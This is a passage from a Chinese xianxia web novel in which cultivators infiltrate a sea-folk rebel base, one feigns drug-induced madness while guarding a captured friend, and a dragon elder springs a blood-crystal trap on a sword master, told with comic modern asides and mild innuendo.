颜郎出来了,长得很好看,不好看也不会在这个卧花楼里头工作了,总之老板娘贴心给俩人留了个上好的房间就春风满面地出去了。 “说吧,最近里头岛上有什么事?”慕轻轻探查一番这个房子,确认没有其他东西后就缓缓落座,她示意颜郎也坐下。 “二殿下,最近岛上多了许多异乡客,这引起了大人们的关注,据说这些异乡客出现的时间比他们预测得要早。” 颜郎缓缓坐在慕轻轻身边,开始给人喂起了水果,慕轻轻用嘴接过就那么吃起来,一边吃一边听来自颜郎的汇报。 “所以属下也特地去打听了,那些异乡客里头好像黑蛇族居多,但是其他海族也有不少。”颜郎继续汇报着,但是给慕轻轻剥葡萄的速度是丝毫不减,“…然后,属下偶然间发现这卧花楼里头也有他们的人在,属下并不知道他们是怎么混进来的,但是……” 颜郎的声音顿了顿,他似乎在警惕周围的情况,他再次确认四周除了慕轻轻就没有旁人就开口道:“最近,那位易长老…来这里来得很是频繁……” “属下待这里也是不久了,那些客人们的身份属下也都悄悄打听了清楚,就连他们喜欢什么姿势喜欢什么玩法我都打听好了,而且易长老他…因为老了所以有些…所以他来得次数也渐渐少了。” “但是最近他来得特别多,要么是找到了好的药医好了,要么就是……来见这楼里的某个人。” …… “怎么样,青莲尊者,我这些收集来的美人,可有你喜欢的?”易长老拿着酒杯,看着眼前被美人围着一动不动的秦兰时。 “…易长老,既然你认识我,那么也应该听说了我出关之时就把合欢宗送我的美人都扫地出门了才是。”秦兰时也拿着酒杯,但是他一动不动,笑容也是愈发地灿烂。 “嘿,是吗?那倒是我的不是了,只不过青莲尊者真的不喜欢吗?”易长老笑容依旧,不过却是挥了挥手让这些美人们下去了。 “不喜欢。”秦兰时非常果断地回答道,他看着像是那种四处留情的家伙吗?为什么世人对他的评价有那么多误会。 可怜见的,天知道当初他和山玉一起逛街的时候,突然看到了自己的同人本,甚至这个同人本是写自己靠修炼某某功法,一夜多少什么的……香艳话本。 甚至还有什么野记,说青莲剑尊四处留情,他的种子遍布整个修仙大地。 …天杀的,为什么这种他们不写合欢宗的啊,写一个正经宗门的剑尊就那么有意思吗? 总之,这让秦兰时当天看到这些书,当天就在房间里对唐山玉跪下唱征服……当然,俩人都很爽就是了。 “那么,青莲剑尊觉得我方才的提议如何?”易长老试探地看了秦兰时一眼,笑道,”我自认为我的诚意满满才是。” “……这个啊。” 秦兰时笑了笑,他轻晃了一下酒杯,眼里透露出无限的贪念:“容我再考虑一番。” 第207章 行动 “我以为您是单纯邀请我来表达感谢的。”谢璟看着眼前的精致点心,还有手边的上好灵茶,他微微往后靠去,遂握住腰间的剑。 “谢小友难道真的只是过来单纯来接受我的感谢的吗?”鲛人王喝着自己杯子里的茶水,他有着一头深蓝的长发,银色的瞳孔正闪烁着窗那头闯进来的骄阳。 “…我可以是,也可以不是,我不过是来酒楼这附近逛上一圈,就被您给找到了,看起来您想找我找很久了。”谢璟耸了耸肩,桌上的东西他什么也没碰,他只是握住自己的剑。 “嗯,是的,我一直想找你……想要报答这份恩情不假,但是更多的是……我有求于你。”鲛人王想了想,斟酌了一下语句就继续往下说去,“我们扶持龙族已有多年,我们之间的契约算算时日也差不多该结束了。” “……”谢璟总觉得自己如果此时此刻不走的话,接下来他就走不了了。 对面的鲛人王显然也意识到了这个问题,于是他加快了语速,很快,谢璟被迫把这些话给听完了。 大致意思是龙王最近似乎沉寂很久,他们猜不透龙王的动作,先前鲛人王提出过要见面,而见面内容是关于契约的,但是对方迟迟不回应。 用能够听懂的话来讲,就是被冷处理了。 “听闻龙王最近与青莲尊者见面了,我们本想寻他问问情况,但是我们并没有找到他……不知你可知他在哪里?” “不知道。”这是实话,谢璟只知道秦兰时急急忙忙冲出去后就再无音讯。 “…这样啊,好吧……”鲛人王叹了一声,随后他让鲛人将准备给谢璟的厚礼给带了上来,“说好给你的,我自然不会食言,当初若是没有谢小友帮忙,我的族人们也不会得救,就连死去的族人们的灵魂也无法安息。” “…您谬赞了,我只是做了我想做的而已。”谢璟点了点头,随后就伸手去接过那份厚礼,打开一看,是一根散发着银白色光芒的草,里头蕴含的灵力带着一股温和的气息。 “这是什么?”谢璟看了一眼,不认识,毕竟他就是个剑修,不打算跨专业发展。 “这是我族的圣物,五百年一株的安魂草,能够阻止灵魂被拖去死亡之地,这样就算死去,也并非真正的死去,而是沉眠,只要能够塑造肉身便可再度重生。” “……”谢璟沉默了一下,这一瞬间他想了很多,但是他不得不承认这种草的确有点用……如果有用上一天,或许自己就不会那么无助吧。 “多谢你,这份厚礼我就收下了。”谢璟接过了这个盒子,看了一眼草就将盒子重新合上,能够踏入生死之地的灵物,实属稀有。 “…但是在接受过安魂草的人是不能接受二次死亡的,一生只能用一次,正如我们的生命。”鲛人王说着,叹了口气,若是复生是这般容易,那么他们又是为何要为了活下去如此努力。 死亡若是变得廉价,就不再是死亡。 “…这般重要之物你就没有献给给龙王陛下吗?”谢璟点了点头,他将这安魂草收了起来。 “……献过一次,所以我大概明白陛下或许已经临近于那一天,正是因为如此,我才有些急切于我们鲛人族与龙族的契约,当初立下契约的是陛下和我的母亲,如今我母亲已率先沉眠。” “其实你想要找陛下的理由很简单,你需要明确到底谁是你们鲛人族下一个效忠目标,对吗?”这就和凡人的统治一样,谢璟之前就听盛知许说起过他们家的事情。 “…或许吧。”这话鲛人王倒是没有多说,而是微微偏过头去,说起了另一件事情,“不知谢小友可还记得当初鲛人族被捕一事?” “…我不就是因为这个才会坐在这里吗?”谢璟觉得他有话不如先说,他是打算拿了厚礼就走的。 “……后来我派人去调查,我们查到这抓捕鲛人族的那些海盗们,似乎和龙族有点关系…当然,我不是指全部的龙族,不知谢小友可知道……黄金海盗?” “……”谢璟不知道为什么听起这个海盗名字,身子就抖了抖好几下。 “听闻他们似乎是那位庄子枭海盗座下的……谢小友?你怎么了?”鲛人王看到脸色突然难看的谢璟,连忙担忧地问道。 “…不,没有,你继续……”早听闻庄子枭似乎和龙族有关系了,但是没有想到这线索还在这里串起来了。 到底是谁在埋这种伏笔? “…总而言之,谢小友,我需要你帮忙的除了问问陛下那边的状况外,还有一点,不知这海盗……” “你先说他和哪个龙族纠缠很深吧。”谢璟觉得这个厚礼他要不还是不拿了吧?毕竟自己之前做的事情的确还不足以到可以拿这鲛人圣物的程度,而对方也明显得知这一点,所以拿出足以求助于他的厚礼。 这礼也太厚了。 “…就是因为不知道是哪个龙族,所以我才想你帮帮忙……” “…我能帮什么?”谢璟像是有点不可思议,他的思绪飘回了当初穿舞娘服被看上的那段日子。 “如果谢小友担心会被发现,那么我会拿出屏蔽气息和易容法器,能够让那庄子枭不被发现,同时如果谢小友成功潜入,我会派人去接应你。” “…这种事情你们自己也能做,为什么找我?”谢璟觉得自己这区区金丹,有点看不过去,这个时候他开始贬低起自己的实力了。 “……因为对方有专门对待海族的法器,如果过去会被压制住,我先前就已经因为这个少了几位部下。”说到这里,鲛人王情绪就有些低落了。 “那么…我是以什么身份去?” 鲛人王微微张口,说出了那几个字。 …… 胡长乐带着学长,配合着那个异乡客的步伐,从容地踏入了他们的领地,这一路上她不知道自己转了几个弯,走过几个小巷子了,甚至还走了好几条暗道,出了暗道后她发现她已经不是在上层了。 …她真的要远航那么久吗? 胡长乐发自内心地怂了起来,不过来都来了,总不能就这样回去啊,于是她决然地继续跟着过去了。 很快,她坐着修仙界版本的电梯一路往下,胡长乐可以感觉到这个地底很深,像极了地狱十八层,让人胆战心惊。 “到了。”异乡客开口了,她转头看向了胡长乐,轻声道,“我们回来了。” “…啊,好。”胡长乐连忙跟上,她在过来的路上买了黑斗篷配合一下这些异乡客的装扮,虽然她有想过要不要买面具,但是这样显得她很突出,她就放弃了。 反正她可以说这是她伪装的脸,以真脸当假脸,努力点忽悠一下,总能把真的变成假的。 不过还以为这里会很黑呢…… 胡长乐悄咪咪看了一眼周围,灯火还是挺足的,她发现了,进来的时候那个异乡客拿了块牌子,而她是趁着这个牌子打开结界的空隙挤进来的。 “回来了?采购好物资了?”有人喊住了那位带胡长乐回来的异乡客。 “嗯,买完了,打算去库房存放,最近怎么样了?可有可疑的人潜入进来?最近我们已经引起上边家伙的重视,想要潜入的家伙有点多。” 可疑的胡长乐站在旁边假装自己是高冷女神。 “今天有一个。”那人回答道,“而且是从土里出来的,都不知道他是怎么穿过层层阵法抵达这里的?” “还有这种事?那么人呢?处理掉了吗?” “没有,那位说了,他是那位青莲剑尊的徒弟,可以当人质用,所以就关起来了。” “那的确不能随便杀死。”带胡长乐进来的女人点了点头,随后转头看向了胡长乐,“走吧。” “……好。”胡长乐那么说着,就在她要跟着人走过去的时候,她被喊住了。 “她是谁?我记得你不是一个人出来的吗?” 胡长乐的身子开始颤抖。 “她是我路上遇到的同伴,想要和我一起回来。” “同伴?我们之中……”那人站了起来,缓缓朝胡长乐这边靠近,“有这号人吗?” “……”胡长乐沉默,沉默了一下,突然,她笑起来,就在学长本来还想打算要不要出手的时候,胡长乐直接迎了上去。 “哎呀,猜猜看~猜猜我是谁?”胡长乐将兜帽放下来,笑得无比自然地拿起那人方才喝的酒壶,“猜错了那么这壶酒就归我了哦~” “…?”那人显然没有想到胡长乐会有这种举动,他当场愣住。 “怎么?我这张脸不好看吗?还是说你想要温柔的大姐姐?不好意思呢,我觉得这种可爱风才适合我哦~” “你是……?” “…我?我是小胡呀?总不能真的给你说真名吧?真是的,我们关系还没有那么好呢?”胡长乐微微偏过头去,她坐在桌子上,翘着个二郎腿,“你觉得呢…?” “……” “你说得没错。” 第208章 融入其中 打入内部很简单吗?或许吧,总之结果是好的不就行了吗? 胡长乐坐在椅子上,不经意地和那两个信她的家伙打听起唐山玉的去向,“对了,你们不是在说今天的那个事吗?细说一下?我也很好奇呢。” “你是说今天那个事情吗?”男海族很是自然地给两位满上一杯酒,手边又摆了一碟瓜子,方便她们听的时候嘴巴不空闲,“其实我也很好奇,不过我知道不多。” “这个家伙虽说是那位青莲剑尊的弟子,可那神态,我观望了一下,发现他这里有点问题。”说着,男海族指了指自己的的脑袋,“太具体的我不知道,不过后边似乎还给他找了医师看了看,接着就确认了他就是有问题。” “天啊,这是怎么了,好好一个人怎么傻了。”女海族在一旁发出惊叹。 “然后呢?”胡长乐听了一下后,大概明白是那糕点惹的错,于是她继续往下问去,“他被关起来了是吗?” “是的,毕竟人家的身份摆那里,我们只是想反抗这该死的龙族,可没有想过事后还要对抗一个随清宗,人类最是狡猾了。”男海族说着,怒喝一大口酒。 狡猾的人类胡长乐还在听着呢,不过她听到这话也只是笑了笑,毕竟现在最重点的不是他们和龙族之间的恩恩怨怨,而是不知道被关在哪里的唐山玉。 “那他被关哪里了?我有点好奇。”胡长乐凑近了些,她想要听点悄悄话。 “哦,他啊,他被关在……”男海族努力想了想,正想开口说什么,突然,一声巨响打断了他的话语。 “怎么回事?!”女海族站起身来,拿出武器看着发出巨响的地方,“到底什么情况?!” “好像是那个家伙被关的房间传出来的!!”有海族回答了他们的疑问,甚至急急忙忙地就要往那里冲过去。 可是不等他冲,一张黄符轻飘飘地贴到他的脸上,这让他一动不动的,神情非常的茫然。 “都说了……不要把我当小孩啊……”来自那位独有的温柔嗓子让胡长乐瞪大了双眼,并且她默默拉低了自己的兜帽,避免被他认出来。 只见唐山玉一脚踩在桌子上,身上披了不知道哪个倒霉蛋的黑斗篷,他看上去要和这群黑衣人融为一体了,“干嘛?不欢迎我?任海那个家伙呢,就是他把我关起来的吗?” 啊?那个任海也在这里吗?! 胡长乐把兜帽拉得更低了,她只以为就一个唐山玉,不然她也不会那么自信过来啊,可一个认识的任海,她怎么拦,拦不住啊。 被看到了就完蛋了! 这样想着,胡长乐缩得更加厉害了,她恨不得现在就出去找秦兰时,这个卧底她是当不了一点。 “喂!你这小子不要太嚣张了,这里可是我们的地盘!!”有海族被这个嚣张的唐山玉给激怒了,他当即拿出武器就指着唐山玉。 “哦?到底是你的剑快,还是我手上的符纸快呢?”唐山玉见此张扬笑了笑,手上的符纸随着他输送的灵力,上头的红色咒纹正不停地发亮。 只见一桌子被人掀起,一阵强风而过,吹得胡长乐的斗篷疯狂乱拍,胡长乐稳住了这个斗篷,保留了自己的神秘感,避免万一她还是拿出来那面具戴上。 反正情况那么混乱,应该不会有人计较这个。 等胡长乐再次抬头观察起状况的时候,她发现和唐山玉对打的家伙已经倒在了地上,正在散发着爆破符袭击后的味道。 “该死!快把他给制住!另外去喊能够制止他的大人们过来!!”当即有海族反应极快地掀起一把桌子丢过去,与此同时她也拿出武器攻击过来,说那时那时快,唐山玉拔出了他的剑,将桌子劈成了两半,剑气朝着海族身上袭来。 轰隆,又是一阵热闹的声响。 胡长乐侧身躲过爆炸出来的残渣后就再度抬头看着唐山玉的情况,除了看上去打疯了之外,好像没什么问题……嗯? 他怎么看过来了? 胡长乐再次才意识到,大伙们因为害怕唐山玉的攻击已经躲得远远的了,而她则是因为想着怎么带唐山玉跑路才站在原地没有丝毫动作。 而唐山玉也转头看了过来,显然他也看到了胡长乐的存在,他眯了眯眼,随后对着胡长乐勾了勾手指,很是不在乎地道:“来?” 胡长乐:? 我,我吗? 我打唐山玉,真的假的? 胡长乐内心大为震撼,而那边的唐山玉见人始终没有动作,他顿觉无聊,就率先丢了一张爆破符过来,符纸于空中划过一道美丽的灵力弧线。 …等等! 胡长乐见那爆破符以肉眼可见的速度接近了,顿时瞪大了双眼,又是一阵热闹的爆炸声响起,唐山玉打了哈欠正想拿着剑去找下一个,剑尖在地上缓缓滑动着,留下细长的剑痕,可下一秒,剑停止了滑动。 唐山玉微微转过头去,歪了歪头,看着那浓烟散去后还完好无损站在那里的胡长乐,胡长乐不知道什么时候拿出的伞打开,挡住了这个攻击。 “那个……”胡长乐刚想说什么,就看到唐山玉举着剑朝她攻击过来,而她连忙举起伞格挡起来,剑气斩断了她的几根发丝。 前面的攻击伞挡住了,可她背后却空无一物,与此同时,不知道哪里飘落几张黄符缓缓落在她的身后,胡长乐瞪大了双眼看着这腹背受敌的一幕。 你妈的! 谁还不是现代人啊!她也会爆粗的啊! 因为感受到了生命威胁的胡长乐当机立断下蹲,一脚踹在了唐山玉的膝盖上,出于本能,唐山玉的剑抖了一下。 下一刻,胡长乐将手里的伞丢出去,直直地打在被丢出去的几张黄符上,黄符在伞面上爆炸开来,而胡长乐在踹了一脚后,身体灵活地在下方钻过,只见她闪身到了唐山玉的身后,抬起脚就要踹唐山玉的腰部。 可还没等她踹出去,就被唐山玉死死地抓住了脚踝,转了一圈后,就被唐山玉丢了出去,胡长乐飞了出去后召唤回自己的伞,随后她拿着伞借着里头的灵力缓缓下落。 唐山玉可没有闲工夫等人积累大招,于是他举着剑一跃而起,胡长乐还在飘呢就看到了朝她奔赴而来的唐山玉,她连忙往后一躲,只见那一剑堪堪划着自己的鼻尖而过。 随后胡长乐拿着伞往后跳动了几下,脚上发力把周围的椅子和桌子都一一往唐山玉那边踢去,只见几道剑光闪过,飞过去的桌椅就被唐山玉给斩成了好几块。 “你还不错嘛?那要不要试试这一招?”霎时间,四周的剑气发生了变化,火焰于唐山玉的剑上燃烧而起,这黑暗的空间因它而亮。 胡长乐瞪大双眼,她沉下脸,将灵力输送到伞上,伞上的灵力纹路逐渐显现出来,随后胡长乐收起了伞,伞变作了棍,她放弃了防护转变为攻击模式。 “对不住了。”胡长乐那么说着,她举着棍子就要冲过来。 唐山玉见此微微一笑,也举着剑往胡长乐那边冲去。 就在俩人要打在一起的时候,任行舟出现了,他一手提起一只玩闹的小鸡仔,颇为无奈地道:“我就离开一下,怎么就这样了。” “啊,长乐,你怎么也在这里?”任行舟看了一眼胡长乐,立马就扒拉掉她那个不算马甲的马甲。 “……”胡长乐一言不发,她随着风轻轻摇晃。 “你放开我!你干什么呢!明明是你先把我关起来的!”唐山玉还在闹,甚至有举剑挥向任行舟的趋势。 “唉,这是给他吃错药了?攻击性那么强,你还记得我吗?”任行舟见胡长乐不回答就转头去问还在叫的唐山玉。 “……”唐山玉突然沉默了,显然药物太多影响他思考了,明明刚刚还直呼任海大名,现在倒是沉默寡言。 “那你记得这个吗?”任行舟给胡长乐摘下面具,继续晃了晃。 唐山玉露出了一丝不解。 “医师。”任行舟转头唤了一声。 “…这个,我看看。”医师连忙出来查看情况,然后她发现这状况可能真的是吃药吃多了,“抱歉大人,这个,估计得好一会儿才能好,要不我再换一种方法……” “不,你干的不错。”任行舟夸奖了她,随后转头去看唐山玉,“想证明自己?” 唐山玉一副不然呢的表情看过来,他示意任行舟将他放开,这太影响他的尊严了,任行舟放开了,但是胡长乐还提在手里。 “那么过后我安排你一个事……”任行舟说着,当着胡长乐的面将唐山玉忽悠起来了,胡长乐只能这样看着,一脸绝望。 忽悠完后,就要开始处理另一只混进来的了,于是任行舟低头看了一眼胡长乐,他想了想然后道:“给她戴个灵力压制手铐,避免她跑了。” “什么?不杀吗?”说这句话的人是唐山玉,胡长乐感觉到自己的心在哗啦啦地大哭。 “…不,你看着她吧。”任行舟看了立马融入的唐山玉,挑了挑眉,没有多说什么,“这是你的任务之一。” “好咧!”已经成功融入敌营的唐山玉立马道了声好,就这样,胡长乐被抓住了。 真是惊喜不断呢。 第209章 龙族秘宝 殊不知胡长乐的遭遇的几人重聚后发现少了个人,石泽竹挠了挠头表示他也不知道人在哪里,谢璟对此皱了皱眉拿出玉牌想要联系对方,慕轻轻也有些迷茫不过很快她就提议可以派些人手去找失踪人口。 “联系不上。”这是谢璟联系后的结论,他想了想就去联系秦兰时。 而此时此刻的秦兰时正跟着那位易长老呢,四周的阵法屏蔽住了外头的灵力,相当于现代断了信号,所以谢璟这联系如同石沉大海,得不到一丝回应。 “…怎么连秦师叔都没有动静……”石泽竹有些不安,毕竟没了长辈的他们就如同没了母鸡妈妈的小鸡,可怜兮兮地在人生地不熟的地方啄着小米粒。 “…我过会有点事。”谢璟看了他们一眼这样说道,他没有明说是什么事情,只是留了一句:“你们注意安全。” “哎哎?你要去哪里做什么?”石泽竹有些着急地拽住谢璟的衣角,一个大高个正可怜兮兮地低着头,有些恳求地继续往下说去:“可以带我去吗?” 谢璟抬头看了石泽竹一眼,叹了口气,他轻轻拍了拍石泽竹的肩膀,随后把自己的浮光镜递给了他,“我师父在里面,你不用怕,有什么事和他说就好了。” 知道谢璟要去做什么,但是劝不动的顾延清:“……” “…顾师伯?”石泽竹拿着镜子看了看,发现顾延清在里头冷着一张脸。 “…嗯,泽竹有什么事吗?”在听到石泽竹喊他后,顾延清神色稍缓了一下,不过他还是一副忧心忡忡的模样。 “没,没有。”石泽竹摇了摇头,而与此同时慕轻轻也开口了。 “我也有些事情要去处理。”慕轻轻这样说着,她抬起头看着那头的龙宫,不知为何她难得收敛起了笑意。 “…轻轻怎么也……你们不找山玉了吗?”石泽竹见大家一个一个地离开,有些慌了。 “…山玉的话。”谢璟闻言顿了顿,随后轻笑了一声,“他不会那么容易死的。” “山玉的话,应该没问题的啦。”慕轻轻说着就抬起手臂枕住自己的脑袋,她往前走去。 “泽竹,你知道为什么吗?”谢璟难得有些许耐心,他给石泽竹解释道,“虽然一开始有些慌乱,但是我静下心来,我仔细想了想……” “最让我不解不是他为什么会中招…而是他为什么知道会中招却仍然要吃下去。” “他到底想要做什么?” 其实唐山玉没有想要做什么,他只是纯粹地在察觉到那糕点有问题后,想着谢璟在旁边就英勇地吃了,不过他已经提前吃了解毒丸,只不过这个解毒丸是需要时间的。 但是唐山玉把事情想得严重了,他以为这是什么毒或者是暗地里的家伙算计他们的阴招,反正他中毒了可以用来混淆对方的视线,到时候他再暗地里伺机而动就好了。 可怎么想他都没想到这居然是拿错的,还是宫斗用的发疯真情流露糕。 所以,唐山玉的确是中药了,发疯也是认真地发了,只是解毒丸的效果还没那么快显现,导致他真情实意地发疯了好一会儿。 可等唐山玉发完疯后,就发现自己不知道为什么混入了某个看上去不太妙的组织里头,房间门被关紧,还有刚才那个医师喂他吃的东西让他不由得产生一丝烦躁。 这药让他的心情不太爽快,他需要做什么发泄一下。 为了不被发现,唐山玉真情实意地发了一下疯,反正都是药的错,关他这个无辜者什么事呢? …当然记忆也没有丢失。 只是唐山玉有点不太想回去而已,其实……在这里当个反叛军也不是不行,不是因为回去后不知道怎么面对他们,他只是单纯想在这里试图发光发热而已。 后边唐山玉还发现了胡长乐的存在,他的确有点吃惊,没想到胡长乐会找到这里……但是任海也在这里,胡长乐这样子迟早会被发现的。 虽然他进来的方法不是很正常,但是唐山玉大概也能猜到胡长乐能够进来应该是无比困难的。 进来都这样困难了,出去更不用说了。 所以唐山玉只能对胡长乐发起疯,用来打消任海对他的顾虑,装疯卖傻不过是他日常真情流露的一角,这简直是又爽又符合他目前的人设。 “……”胡长乐还在被拷着,她低着头一言不发,像是有些害怕,而那链子的另一端正由唐山玉拿着。 唐山玉看了她一眼,什么也没说,正所谓最好的演技就是骗过队友,他正勤勤恳恳地扮演着发疯人设。 “…唐哥…”胡长乐声音有些哽咽地开口了,唐山玉看过去,他内心是有点方的,毕竟这声音听上去好像要哭出来那样。 “你忘记大明湖畔的秦哥了,你还记得你们俩还生了个孩子吗?你们还没有讨论好孩子和谁姓啊……”说着,胡长乐的呜咽声更大了。 唐山玉:……? 他和秦兰时都是男的哪来的孩子。 不对,这丫头怎么突然开始胡言乱语了?这糕点是他吃的没错吧? 就在唐山玉一头雾水的时候,胡长乐又开始换了另一个声调,她像是有几分羞涩地晃了晃手上的铐子:“唐哥,你这样和我玩这种py,秦哥不会生气吧?” 唐山玉:…… 唐山玉符合着目前人设皱了皱眉:“你在说什么话?安静点。” “…呜呜呜你好凶,我要告诉秦哥你凶我。”胡长乐掩面转头假意哭泣,她看上去无比伤心,但是她一点眼泪都没有流。 确认了。 胡长乐这是因为被抓住,因为苦逼的心情得不到发泄所以发疯了。 非常符合他们现代人的精神状态。 “别哭。”唐山玉皱了皱眉,随后拉扯了一下链子,“你在胡言乱语什么?秦哥又是谁 我和他…可没有关系。” 胡长乐看了唐山玉这个情况一眼,她缓缓叹了口气,于是她开始面无表情地念叨了起来,“太好了,秦哥可以强制爱了,哇塞,这辈子有了。” 还说给不停了是吧? 不过唐山玉能说什么呢?他只能装傻地听不懂这些胡言乱语,开始想着任海派给他的一系列任务。 据目前得知的情报,那什么易长老找上了青莲剑尊,也就是他师父,看来秦兰时那边的计划还挺顺利。 而任海派给他的任务就是…… “易长老,那个能够让我从化神突破到下一个阶段大乘期的的法宝在哪里?”秦兰时在听到这句话的时候,他自己也是不信的,哪有那么厉害的法宝,他活了那么久都没有见过。 不过他表面上依旧是兴趣盎然,但是内心已经给这个易长老打上了买保健品被骗的标签了。 而大乘算是他师父目前的修为,接近于飞升的大乘后期老怪物。 顾延清算是化神后期,他秦兰时因为心魔的缘故落后了不少,目前也只是化神初期而已。 这跨度跨得太大了就显得这些很不可信了。 不过秦兰时的目的也不是为了这个,他只是过来打入内部……所以山玉那边什么情况,该死的阵法让他没有丝毫信号,要不是修仙界没有手机,他就要闹了。 “秦尊者莫急,我们很快就到了。”易长老笑着摸了摸胡子,显然秦兰时的急切有些取悦到了他。 “…呵,要是让我知道你在说谎,你是明白后果的。”秦兰时丢下一句威胁的话,就满眼警惕地看着周围,虽说他认为这种法宝不会存在,可这里的情况很明显不对劲。 “好了好了,秦尊者,我们到了。”易长老的声音自前方传来,而秦兰时也就收回了四周观察的心思往前看去。 他看到一块洁白的水晶漂浮在台子上,这块水晶散发着淡淡灵力,秦兰时可以感觉到其中的干净……不对,里头似乎还蕴含着什么。 那淡淡的血色缓缓出现在这块洁白的水晶里,它仿佛已经被沾污了,干净的灵力也在秦兰时发现这血色的时候渐渐散去,独留下来的只有那漫天的红。 “尊者您看,这是神明给我们的恩赐,你可知我们龙族为何能够称霸海上如此之久吗?”易长老走过去,目光极为痴狂地落在那洁白的水晶上,“我们将其称为——龙啸。” “这是我们龙族独有的力量,而现在尊者,我们需要您的帮助。” 刹那间,水晶爆发出强烈红光,而那些红光化作了漫天的锁链朝着秦兰时袭击而来,秦兰时微微睁大眼睛,看着这一幕。 而易长老于漫天的红雨里头抬起手,去接住这滴落下来的恩惠。 “神啊,您还怜惜我们的,对吗?” 第210章 反叛军 “唐哥!唐哥!你松一下力气好不好!”胡长乐因为被拷住,所以她只能原地跺脚直跳,而唐山玉看管她的时候正在拿着一张地图在看。 这张地图是潜入龙宫的地图,也不知对方是什么样的内应,这般忠心耿耿地画出了每一个地洞每一个路线。 这地图是任行舟友情提供的,只不过在提供的时候唐山玉有点意外,他没有想到这张地图就这样给他了。 太过简单反而让唐山玉怀疑起这张地图的真实性,对方要么是不把他看在眼里,要么就是给的东西没那么重要。 “唐哥!我不依啦我不依啦!你怎么能对我这样无情!!”胡长乐已经在地板上打起了滚,锁链被她带得清脆地乱响。 “……”唐山玉沉默了一下,他抬起头,面无表情地看着在地上闹腾的胡长乐,胡长乐在他那沉默的目光里渐渐停止了滚动。 毛毛虫也是有尊严的,就好比现在。 胡长乐看上去很想哭,不过内心已经在祈求着学长能够成功飞出去通风报信。 是的,是学长。 不知什么时候起,少女身边经常跟着叽叽喳喳的鸟儿不见了。 而胡长乐之所以那么胡闹就是让人把注意力都集中在她身上,来给学长争取时间。 不得不说这招效果很好,唐山玉的确没有发觉胡长乐身边到底少了什么,他只是按照人设扯了扯链子,“别闹,我在为我的任务做准备。” “不就是潜入龙宫放传送阵法的任务吗?他们就这样让你去做了,这对吗?这不对吧!唐哥,干坏事会遭到报应的,你一定不要去做呀!” “……”唐山玉叹了口气,随后他拿着地图,一边记地点一边思维开始运转了起来。 根据目前的情况来判断,这座岛上应有四方势力,一方是他目前所待的反叛军,致力于推翻龙族的统治,第二方是龙王慕轻轻那种正规的皇家势力,第三方似乎就是龙族里头自个儿产生的矛盾势力,第四方就是他们这几个被卷入其中的人类。 目前还不知道反叛军和那龙族里头的矛盾势力有什么关系,他们是否有合作并不清楚,也有可能反叛军和矛盾势力有点冲突。 …如果按照有冲突的来想,这反叛军一打三是真的很厉害,如果他们有合作,那应该是平衡的二对二。 无论是哪个假设,唐山玉认为他们和反叛军应该是敌对关系,当然,如果有意外,那就等出现意外的时候再判断。 “唐哥!唐哥!你要当个好人啊唐哥!”胡长乐还在叫,唐山玉知道其实是这个孩子有些不安,并且急于在他这里得到什么。 就在唐山玉想要开口去说点什么的时候,突然,他浑身一震,随后他伸出手抚上了胸口处,他可以感觉到那朵同心莲在里头正在慢慢枯萎。 …为什么花会在枯萎? 一堆不好的念头飞速地闪过他的脑海里,唐山玉觉得他不能再等了,本来还想循序渐进的,于是他当机立断牵着胡长乐就去找任行舟。 而任行舟此时此刻正在和人谈话,在察觉到唐山玉和胡长乐的接近后,他就停止了谈话,转头看向了过来的唐山玉。 “我记得按照计划,我们还没开始,你如今过来是为了什么?”任行舟看了过来,他显然很平静,就算唐山玉现在倒立爬行他都会面不改色。 “我现在就去布置阵法。”唐山玉现在急需出去,他承认自己的心现在很急,可越急,他的头脑也愈发地冷静,“放我出去,任行舟。” “…现在说话倒是挺正常的。”任行舟笑了笑,随后打了个响指,“虽然我也想很快去布置,不过显然今天不太行。” “为什么?这种事情还要挑日子的吗?”唐山玉皱了皱眉,显然对这个回答很不满意。 “我们的阵法只能在龙宫短时间存在,所以我们需要计算好时间,不能提前放,也不能太晚放。”任行舟摆了摆手,他表示很无奈,“不过,要是你愿意在龙宫待一段时间,等待我们给你下达指令的话,也不是不可以现在出去。” “不过,现在的你……”任行舟微微一笑,“真的可以听从我们的命令吗?唐小友。” 这一笑下,来自大能的威压毫不犹豫地压向唐山玉,唐山玉可以感觉到自己的呼吸开始不顺畅起来,身体变得无比沉重。 而旁边的胡长乐显然也明白了什么,但是威压并没有落到她身上,于是她急急忙忙地伸出手去扶起仿佛要跌倒在地的唐山玉。 “…哈,你们找不到可以去龙宫放阵法的人,对吧?不然在明知道我可能有问题的时候还让我去看那个地图。”唐山玉轻吐出一口气,随后抬头看着任行舟。 “而你给我地图,是断定我会去帮助你们去放阵法,为什么?”唐山玉想来想去都没有想明白为什么任行舟会断定他会去听从他们的命令。 他很确认自己一边发疯一边避免自己遭受控制,而现在除了人身安全外,他并没有签下什么有违自己意愿的契约。 “本来我还在想怎么偷偷摸摸透露给你的,不过你现在如此直接发问了,那么告诉你也无妨,毕竟这对于大海而言并不是什么秘密。” “只是大家都遮住了眼睛,选择看不见。” 唐山玉感觉到身上的威压被撤去,也是,他们这两个小金丹对于这个元婴修士没什么威胁,稍微捏一下就碎了。 “你说,我会自己判断。”唐山玉也不装傻了,意外出现,他就应该考虑起目前反叛军和他们这个第四方的关系了。 “首先,你有没有想过,这支反叛军是怎么诞生的?”任行舟伸出一根手指微微晃了晃,而站在他旁边的叛军首领长长叹了口气,他选择自己来说。 “我来说吧。”反叛军首领这样说着,他走上来,站在唐山玉的面前,“在我们这支反叛军里,我们绝大多数都是平民。” “我们生活在平凡的世界里,就算龙族不让我们前往里层我们也并不在意……” 热闹的街道上,一个小摊子叫卖着灵宠,这里的灵宠多种多样,有小琉璃瓶里的鱼,有笼子里的鸟儿,有精巧盒子里的乌龟。 而石泽竹停在了摊子上,他看着一个笼子里的鸟儿,总觉得这只小肥啾有那么一点点眼熟。 “爹爹,我想要那个!那个!”一个小姑娘扯着一位男子的衣角,着急地指着其中一只肥啾,“它长得好可爱……我想要!” “好好好,那咱们买……”男人很是宠溺地拿出钱袋,转身就去和那摊主聊起这个肥啾怎么卖。 “这个数。”摊主比划了一下,随后搓了搓手,等待着小钱钱的到来。 与此同时石泽竹终于认出这个肥啾是胡长乐身边的肥啾,名字好像叫学长,虽然不知道学长为什么会在这里,并且用期盼的目光看着他。 石泽竹看了看笼子,发现这个笼子有抑制灵力的作用,难怪学长传不了音给他,总之他也数起了钱就要去买学长回来。 男人的手和石泽竹的手同时抓住了这个笼子,学长肥啾感觉到笼子整体一震,而它还在用翅膀遮住自己的半边脸,流出了丢鸟又悲伤的泪水。 